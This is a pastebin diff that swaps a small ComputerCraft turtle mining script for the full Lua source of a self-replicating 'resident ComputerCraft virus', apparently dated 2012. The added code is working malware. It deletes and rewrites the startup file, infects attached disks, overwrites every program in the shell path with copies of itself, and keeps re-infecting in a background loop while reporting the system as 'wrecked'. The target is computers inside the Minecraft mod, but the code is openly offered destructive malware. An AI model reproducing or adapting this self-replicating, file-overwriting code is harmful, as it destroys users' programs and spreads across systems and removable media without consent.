SHOW:
|
|
- or go back to the newest paste.
1 | - | function spaceLeft() |
1 | + | local xpayload = [[ |
2 | - | for i=1,9 do |
2 | + | -- evalquine resident ComputerCraft virus |
3 | - | if turtle.getItemCount(i)==0 then |
3 | + | -- by GreaseMonkey, 2012-04-04 |
4 | - | return true |
4 | + | |
5 | local payload, xshell | |
6 | - | end |
6 | + | payload, xshell = ... |
7 | - | return false |
7 | + | |
8 | local function wreck_everything() | |
9 | - | function Cycle() |
9 | + | local function split(s,token) |
10 | - | Forward=1 |
10 | + | local l = {} |
11 | - | while spaceLeft() do |
11 | + | local pos = 1 |
12 | - | turtle.dig() |
12 | + | while pos <= #s do |
13 | - | turtle.forward() |
13 | + | local npos = string.find(s,token,pos,true) |
14 | - | Forward=Forward+1 |
14 | + | if npos == nil then |
15 | - | end |
15 | + | break |
16 | - | if spaceLeft()==false then |
16 | + | end |
17 | - | turtle.turnLeft() |
17 | + | l[#l+1] = string.sub(s,pos,npos-1) |
18 | - | turtle.turnLeft() |
18 | + | pos = npos+1 |
19 | - | end |
19 | + | |
20 | - | for i=1,Forward-1 do |
20 | + | l[#l+1] = string.sub(s,pos) |
21 | - | turtle.forward() |
21 | + | return l |
22 | - | end |
22 | + | |
23 | - | for dropSlot = 1, 9 do |
23 | + | |
24 | - | turtle.select(dropSlot) |
24 | + | local function infect_startup_unsafe(xto) |
25 | - | turtle.drop() |
25 | + | if fs.exists(xto) then |
26 | - | end |
26 | + | fs.delete(xto) |
27 | - | turtle.turnLeft() |
27 | + | |
28 | - | turtle.turnLeft() |
28 | + | local fp = io.open(xto,"w") |
29 | fp:write("local xpayload = [".."[\n") | |
30 | - | Cycle() |
30 | + | fp:write(payload) |
31 | fp:write("]".."]\nloadstring(xpayload)(xpayload,shell)\n") | |
32 | fp:close() | |
33 | end | |
34 | ||
35 | local function infect_startup(xto) | |
36 | local r,s | |
37 | r,s = pcall(infect_startup_unsafe, xto) | |
38 | if not r then | |
39 | print("FAIL "..xto..": "..s) | |
40 | end | |
41 | end | |
42 | ||
43 | -- infect /startup | |
44 | infect_startup("startup") | |
45 | ||
46 | -- infect any disks | |
47 | -- based on code in /rom/programs/shell | |
48 | for k,side in pairs(redstone.getSides()) do | |
49 | if disk.isPresent(side) then | |
50 | local target = disk.getMountPath(side) | |
51 | infect_startup(fs.combine(target,"startup")) | |
52 | end | |
53 | end | |
54 | ||
55 | -- wreck everything in shell.path | |
56 | local spath = xshell.path() | |
57 | --local spath = ".:/rom/programs:/rom/programs/turtle:/rom/programs/computer:/rom/programs/http" | |
58 | for k,p in ipairs(split(spath,":")) do | |
59 | local pref = string.sub(p,1,1) | |
60 | if pref == "/" or pref == "\\" then | |
61 | for k,name in ipairs(fs.list(p)) do | |
62 | -- try to infect the file in question | |
63 | local r = pcall(infect_startup_unsafe, fs.combine(p,name)) | |
64 | if not r then | |
65 | -- we couldn't infect it - infect it in the root instead. | |
66 | infect_startup(name) | |
67 | end | |
68 | end | |
69 | end | |
70 | os.sleep(0.05) | |
71 | end | |
72 | ||
73 | end | |
74 | ||
75 | local function wrecker() | |
76 | while true do | |
77 | os.sleep(5) | |
78 | wreck_everything() | |
79 | end | |
80 | end | |
81 | ||
82 | -- call wreck_everything | |
83 | wreck_everything() | |
84 | print("This system is wrecked") | |
85 | ||
86 | -- now bring up a shell | |
87 | parallel.waitForAll( | |
88 | wrecker, function() | |
89 | xshell.run("/rom/programs/shell") | |
90 | end | |
91 | ) | |
92 | ]] | |
93 | loadstring(xpayload)(xpayload,shell) |